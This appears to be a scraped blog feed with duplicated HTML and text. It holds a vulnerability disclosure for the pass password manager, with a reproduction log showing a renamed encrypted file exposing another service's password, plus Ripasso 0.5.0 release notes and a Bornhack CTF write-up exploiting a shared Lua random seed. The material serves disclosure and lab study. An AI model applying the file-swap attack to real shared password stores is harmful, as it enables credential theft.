<li>2020-10-24 Email sent to main developer of <a href="https://github.com/geluk/pass-winmenu">pass-winmenu</a></li>
<li>2020-11-13 Email with first draft of a patch sent</li>
<li>2020-12-07 CVE number assigned</li>
</ul>capitolpass is a password manager that encrypts your or your team’s passwords with GPG and optionally stores them in a Git repository. Each password is encrypted in its own file, often named after the service and username. For example the password for the user richard on the service Spotify might be named spotify/richard.gpg. Trust Boundaries It’s possible to configure your usage of pass in many ways, but if you are using it in a team then this is a common setup: Each member has a local machine with a GPG configuration that trusts all other members of the team. The password store is in Git, and there is a central server to which all team members push and pull. Here we have three zones: Your own machine The central server The other team members Any operator in one of the zones shouldn’t be able to cross a zone barrier and gain information or resources from another zone. The Attack If an attacker controls the following: The central Git server or one of the other members’ machines One of the services that have a password already in the password store Then they can do the following: Rename one of the password files in the Git repository to the password file of the controlled service. pass doesn’t correctly verify that the content of file matches the filename, so a user might be tricked to decrypting the wrong password and send that to a service that the attacker controls. Example Given this setup: A user Bob with a local installation of pass A git server where the passwords are stored One password to bob@server1.example.com One password to bob@server2.example.com An attacker called Mallory If Mallory takes control over the central Git server and server2.example.com then he could rename the file named bob@server1.example.com.gpg to bob@server2.example.com and commit it. The next time that Bob then does a git pull and accesses server2.example.com his password to server1.example.com will be exposed. Possible Mitigations GPG supports storing the filename in the encryption packet. This can be set with the --set-filename flag when storing a password and needs to be verified by the pass software before decryption happens. But the filename field in GPG have a couple of problems. It’s limited to 255 bytes and the specification doesn’t specify what encoding that should be used. This might make it vulnerable to further attacks due to encoding confusion. Another solution would be to use a signature notation packet in GPG. It has a length of up to 64 KB. It can also be set on the gpg command line: echo 1 | gpg -se --sig-notation \!filename@pass=/path/to/file.gpg -r alexander.kjall@gmail.com | gpg -d --verify-options show-notations --known-notation \!filename@pass Patches A crude attempt at writing a patch for this vulnerability is in these two patches, adding signature and verify signature. The patches tries to mitigate the vulnerability by applying a signature notation, but they don’t include any migration strategy for existing password stores. Reproduction Steps Here is a log of the steps to reproduce the vulnerability: capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass init 0x1D108E6C07CBC406 Password store initialized for 0x1D108E6C07CBC406 capitol@tool:/tmp$ cd store1/ capitol@tool:/tmp/store1$ git init Initialized empty Git repository in /tmp/store1/.git/ capitol@tool:/tmp/store1$ cd .. capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server1.example.com [master (root-commit) 208e574] Add generated password for bob@server1.example.com. 1 file changed, 1 insertion(+) create mode 100644 bob@server1.example.com.gpg The generated password for bob@server1.example.com is: 7A\ZOg(|`L.G0{Dce^a~SPiC~ capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server2.example.com [master 4e43e37] Add generated password for bob@server2.example.com. 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 bob@server2.example.com.gpg The generated password for bob@server2.example.com is: "}zC}4d[wD%N$<7D@WO@2QA-f capitol@tool:/tmp$ cd store1/ capitol@tool:/tmp/store1$ git add .gpg-id capitol@tool:/tmp/store1$ git commit -m ".gpg-id" [master 29e4c37] .gpg-id 1 file changed, 1 insertion(+) create mode 100644 .gpg-id capitol@tool:/tmp/store1$ cd /tmp/server/ capitol@tool:/tmp/server$ git init --bare Initialized empty Git repository in /tmp/server/ capitol@tool:/tmp/server$ cd /tmp/store1/ capitol@tool:/tmp/store1$ git push --set-upstream /tmp/server/ master Enumerating objects: 9, done. Counting objects: 100% (9/9), done. Delta compression using up to 4 threads Compressing objects: 100% (8/8), done. Writing objects: 100% (9/9), 1.56 KiB | 798.00 KiB/s, done. Total 9 (delta 2), reused 0 (delta 0) To /tmp/server/ * [new branch] master -> master Branch 'master' set up to track remote branch 'master' from '/tmp/server/'. capitol@tool:/tmp/store1$ cd .. capitol@tool:/tmp$ git clone /tmp/server/ store2 Cloning into 'store2'... done. capitol@tool:/tmp$ cd store2/ capitol@tool:/tmp/store2$ cp bob@server1.example.com.gpg bob@server2.example.com.gpg capitol@tool:/tmp/store2$ git add . capitol@tool:/tmp/store2$ git commit -m "this is the attack" [master d239dd5] this is the attack 1 file changed, 0 insertions(+), 0 deletions(-) capitol@tool:/tmp/store2$ git push Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Delta compression using up to 4 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (2/2), 406 bytes | 406.00 KiB/s, done. Total 2 (delta 1), reused 0 (delta 0) To /tmp/server/ 29e4c37..d239dd5 master -> master capitol@tool:/tmp/store2$ cd /tmp/store1/ capitol@tool:/tmp/store1$ git pull remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (2/2), done. remote: Total 2 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (2/2), 386 bytes | 386.00 KiB/s, done. From /tmp/server * branch master -> FETCH_HEAD Updating 29e4c37..d239dd5 Fast-forward bob@server2.example.com.gpg | Bin 173 -> 173 bytes 1 file changed, 0 insertions(+), 0 deletions(-) capitol@tool:/tmp/store1$ PASSWORD_STORE_DIR=/tmp/store1 pass show bob@server2.example.com 7A\ZOg(|`L.G0{Dce^a~SPiC~ The password that is shown on the last line is the password associated with bob@server1.example.com. Timeline 2020-10-22 Email sent to main developer of pass 2020-10-24 CVE requested 2020-10-24 Email sent to main developer of QtPass 2020-10-24 Email sent to main developer of gopass, the attack is outside of gopass stated security policy. 2020-10-24 Email sent to main developer of upass, upass calls out to pass in a subshell and is therefore not directly affected. 2020-10-24 Email sent to main developer of pass-winmenu 2020-11-13 Email with first draft of a patch sent 2020-12-07 CVE number assignedRelease of Ripasso version 0.5.02020-10-17T00:00:00+02:002020-10-17T00:00:00+02:00https://blog.hackeriet.no/Ripasso-release-0-5-0<p><img src="/images/ripasso-cursive-0.4.0.png" alt="ripasso-cursive" /></p>
<p>After nine long months of development effort, we are proud to present
ripasso version 0.5.0.</p>
<h2 id="new-features">New Features</h2>
<h4 id="support-multiple-password-stores">Support multiple password stores</h4>
<p>We have implemented support for configuration files. You can now switch between different password
directories from the menu.</p>
<p><img src="/images/ripasso-directory-menu.png" alt="directory-menu" /></p>
<h4 id="fuzzing-of-our-dependencies">Fuzzing of our dependencies</h4>
<p>We did a small project where we went over our dependencies with a fuzzer, bugs found:</p>
<ul>
<li><a href="https://github.com/jeaye/ncurses-rs/issues/196">panic on unwrap of empty string</a></li>
<li><a href="https://github.com/ihalila/pancurses/issues/77">panic of unwrap() on CString creation</a></li>
<li><a href="https://github.com/gyscos/cursive/issues/489">byte index 1 is not a char boundary</a> gyscos/cursive</li>
<li><a href="https://github.com/hjson/hjson-rust/issues/19">decoding invalid utf8</a></li>
<li><a href="https://github.com/hjson/hjson-rust/issues/20">subtract with overflow</a></li>
<li><a href="https://github.com/hjson/hjson-rust/issues/21">removal index (is 0) should be < len (is 0)</a></li>
<li><a href="https://github.com/hjson/hjson-rust/issues/22">called Result::unwrap() on an Err</a></li>
<li><a href="https://github.com/zonyitoo/rust-ini/issues/75">called Option::unwrap() on a None</a></li>
<li><a href="https://github.com/dtolnay/syn/issues/897">Unrecognized literal: 6E–5458</a></li>
<li><a href="https://gitlab.com/sequoia-pgp/sequoia/-/issues/514">shift left with overflow</a></li>
<li><a href="https://gitlab.com/sequoia-pgp/sequoia/-/issues/515">byte index 11 is not a char boundary</a></li>
<li><a href="https://gitlab.com/sequoia-pgp/sequoia/-/issues/516">read empty buffer</a></li>
<li><a href="https://gitlab.com/sequoia-pgp/sequoia/-/issues/517">read empty buffer</a></li>
</ul>
<p>Some of them have been closed, some are in optional dependencies that we now have excluded
and some are in a package that we want to start using in the future.</p>
<h4 id="password-history-view">Password History View</h4>
<p>If you press ctrl-H on a password entry, it will bring up the git history of that file.</p>
<p><img src="/images/ripasso-password-history.png" alt="password-history" /></p>
<h4 id="copy-password-file-name">Copy password file name</h4>
<p>Copy the file name with ctrl-U, this can be useful if you have your username as the filename.</p>
<h2 id="bugs-fixed">Bugs Fixed</h2>
<h4 id="passwords-in-initial-commit-causes-error">Passwords in initial commit causes error</h4>
<p>If the initial git commit contained files, that caused errors as ripasso didn’t consider that
snapshot correctly.</p>
<h4 id="not-assume-that-git-branch-should-be-named-master">Not assume that git branch should be named master</h4>
<p>A hardcoding of the branch name was removed.</p>
<h2 id="credits">Credits</h2>
<ul>
<li>Joakim Lundborg - Developer</li>
<li>Alexander Kjäll - Developer</li>
<li>Silje Enge Kristensen - Norwegian bokmål translation</li>
<li>Camille Victor Prunier - French translation</li>
<li>David Plassmann - German translation</li>
</ul>
<p>Also a big thanks to everyone who contributed with bug reports and patches.</p>capitolAfter nine long months of development effort, we are proud to present ripasso version 0.5.0. New Features Support multiple password stores We have implemented support for configuration files. You can now switch between different password directories from the menu. Fuzzing of our dependencies We did a small project where we went over our dependencies with a fuzzer, bugs found: panic on unwrap of empty string panic of unwrap() on CString creation byte index 1 is not a char boundary gyscos/cursive decoding invalid utf8 subtract with overflow removal index (is 0) should be < len (is 0) called Result::unwrap() on an Err called Option::unwrap() on a None Unrecognized literal: 6E–5458 shift left with overflow byte index 11 is not a char boundary read empty buffer read empty buffer Some of them have been closed, some are in optional dependencies that we now have excluded and some are in a package that we want to start using in the future. Password History View If you press ctrl-H on a password entry, it will bring up the git history of that file. Copy password file name Copy the file name with ctrl-U, this can be useful if you have your username as the filename. Bugs Fixed Passwords in initial commit causes error If the initial git commit contained files, that caused errors as ripasso didn’t consider that snapshot correctly. Not assume that git branch should be named master A hardcoding of the branch name was removed. Credits Joakim Lundborg - Developer Alexander Kjäll - Developer Silje Enge Kristensen - Norwegian bokmål translation Camille Victor Prunier - French translation David Plassmann - German translation Also a big thanks to everyone who contributed with bug reports and patches.Solution to Bornhack 2020 CTF challenge alice_bob_playing_telepathy2020-08-16T00:00:00+02:002020-08-16T00:00:00+02:00https://blog.hackeriet.no/solution-to-bornhack-2020-alice_bob_playing_telepathy<p><img src="/images/moon.jpeg" alt="moon" /></p>
<h5 id="name">Name:</h5>
<p>alice_bob_playing_telepathy</p>
<h5 id="category">Category:</h5>
<p>crypto</p>
<h5 id="points">Points:</h5>
<p>400</p>
<h4 id="writeup">Writeup</h4>
<p>This was a challenge centered around attacking the Lua runtime in a C program.</p>
<p>We got this program</p>
<pre><code class="language-C">#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <lauxlib.h>
#include <lua.h>
#include <lualib.h>
#include <string.h>
#include <assert.h>
ssize_t readn(int fd, char *buf, size_t n){
size_t off = 0;
while(off < n){
ssize_t res = read(fd, &buf[off], n-off);
if(res <= 0) return res;
off += res;
}
return off;
}
int main(int argc, char **argv){
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("Give me some Alice and Bob:");
char program[256 + 1] = {0};
assert(readn(STDIN_FILENO, program, sizeof(program)-1) == sizeof(program)-1);
lua_State *alice = luaL_newstate();
//luaL_openlibs(alice); is too powerful
luaL_requiref(alice, "math", luaopen_math, 1);
luaL_requiref(alice, "table", luaopen_table, 1);
luaL_dostring(alice, program);
lua_State *bob = luaL_newstate();
//luaL_openlibs(bob); is too powerful
luaL_requiref(bob, "math", luaopen_math, 1);
luaL_requiref(bob, "table", luaopen_table, 1);
luaL_dostring(bob, program);
int urandom = open("/dev/urandom", O_RDONLY);
assert(urandom > 0);
for(int i = 0; i < 1000; i++){
unsigned int num = 0;
assert(readn(urandom, (char *)&num, sizeof(num)) == sizeof(num));
num = num % 100;
// alice(num)
lua_getglobal(alice, "alice");
lua_pushnumber(alice, (float)num);
assert(lua_pcall(alice, 1, 0, 0) == 0);
// assert(num == bob())
lua_getglobal(bob, "bob");
assert(lua_pcall(bob, 0, 1, 0) == 0);
assert(lua_isnumber(bob, -1));
assert(num == (int)lua_tonumber(bob, -1));
lua_pop(bob, 1);
}
lua_close(alice);
lua_close(bob);
puts(
#include "flag.h"
);
}
</code></pre>
<p>It initializes two different <code class="language-plaintext highlighter-rouge">lua_State</code> objects from the same source code that the attacker supplies.
Source that should have one function named <code class="language-plaintext highlighter-rouge">alice</code> that accepts a parameter, and another function <code class="language-plaintext highlighter-rouge">bob</code>
that should return a number.</p>
<p>It then generates a series of 1000 random numbers between 0 and 100. Each of those gets sent to the
<code class="language-plaintext highlighter-rouge">alice</code> function in the first <code class="language-plaintext highlighter-rouge">lua_State</code> and a number is read from the <code class="language-plaintext highlighter-rouge">bob</code> function
in the second <code class="language-plaintext highlighter-rouge">lua_State</code>. Those two number are verified to be equal.</p>
<p>This means that we need to communicate between functions in different <code class="language-plaintext highlighter-rouge">lua_State</code>.</p>
<p>That the lua math module is loaded gave us a hint, and the random number generator seed turns out to
not be part of the <code class="language-plaintext highlighter-rouge">lua_State</code> object in lua 5.3 and below, this security hole has been fixed in 5.4.</p>
<p>We wrote this function to reveal the relationship between the <code class="language-plaintext highlighter-rouge">randomseed()</code> and the <code class="language-plaintext highlighter-rouge">random()</code> function.</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">function</span> <span class="nf">alice</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="nb">math.randomseed</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span><span class="n">n</span> <span class="k">do</span>
<span class="nb">math.random</span><span class="p">()</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">function</span> <span class="nf">bob</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">math.random</span><span class="p">()</span>
<span class="nb">math.randomseed</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span><span class="mi">101</span> <span class="k">do</span>
<span class="k">if</span> <span class="nb">math.random</span><span class="p">()</span> <span class="o">==</span> <span class="n">a</span> <span class="k">then</span>
<span class="k">return</span> <span class="n">i</span><span class="o">-</span><span class="mi">1</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>Sadly the CTF closed just before we sent this in, so we didn’t manage to get the flag, and could only
verify this locally.</p>capitolName: alice_bob_playing_telepathy Category: crypto Points: 400 Writeup This was a challenge centered around attacking the Lua runtime in a C program. We got this program #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <lauxlib.h> #include <lua.h> #include <lualib.h> #include <string.h> #include <assert.h> ssize_t readn(int fd, char *buf, size_t n){ size_t off = 0; while(off < n){ ssize_t res = read(fd, &buf[off], n-off); if(res <= 0) return res; off += res; } return off; } int main(int argc, char **argv){ alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts("Give me some Alice and Bob:"); char program[256 + 1] = {0}; assert(readn(STDIN_FILENO, program, sizeof(program)-1) == sizeof(program)-1); lua_State *alice = luaL_newstate(); //luaL_openlibs(alice); is too powerful luaL_requiref(alice, "math", luaopen_math, 1); luaL_requiref(alice, "table", luaopen_table, 1); luaL_dostring(alice, program); lua_State *bob = luaL_newstate(); //luaL_openlibs(bob); is too powerful luaL_requiref(bob, "math", luaopen_math, 1); luaL_requiref(bob, "table", luaopen_table, 1); luaL_dostring(bob, program); int urandom = open("/dev/urandom", O_RDONLY); assert(urandom > 0); for(int i = 0; i < 1000; i++){ unsigned int num = 0; assert(readn(urandom, (char *)&num, sizeof(num)) == sizeof(num)); num = num % 100; // alice(num) lua_getglobal(alice, "alice"); lua_pushnumber(alice, (float)num); assert(lua_pcall(alice, 1, 0, 0) == 0); // assert(num == bob()) lua_getglobal(bob, "bob"); assert(lua_pcall(bob, 0, 1, 0) == 0); assert(lua_isnumber(bob, -1)); assert(num == (int)lua_tonumber(bob, -1)); lua_pop(bob, 1); } lua_close(alice); lua_close(bob); puts( #include "flag.h" ); } It initializes two different lua_State objects from the same source code that the attacker supplies. Source that should have one function named alice that accepts a parameter, and another function bob that should return a number. It then generates a series of 1000 random numbers between 0 and 100. Each of those gets sent to the alice function in the first lua_State and a number is read from the bob function in the second lua_State. Those two number are verified to be equal. This means that we need to communicate between functions in different lua_State. That the lua math module is loaded gave us a hint, and the random number generator seed turns out to not be part of the lua_State object in lua 5.3 and below, this security hole has been fixed in 5.4. We wrote this function to reveal the relationship between the randomseed() and the random() function. function alice(n) math.randomseed(0) for i=0,n do math.random() end end function bob() a = math.random() math.randomseed(0) for i=0,101 do if math.random() == a then return i-1 end end end Sadly the CTF closed just before we sent this in, so we didn’t manage to get the flag, and could only verify this locally.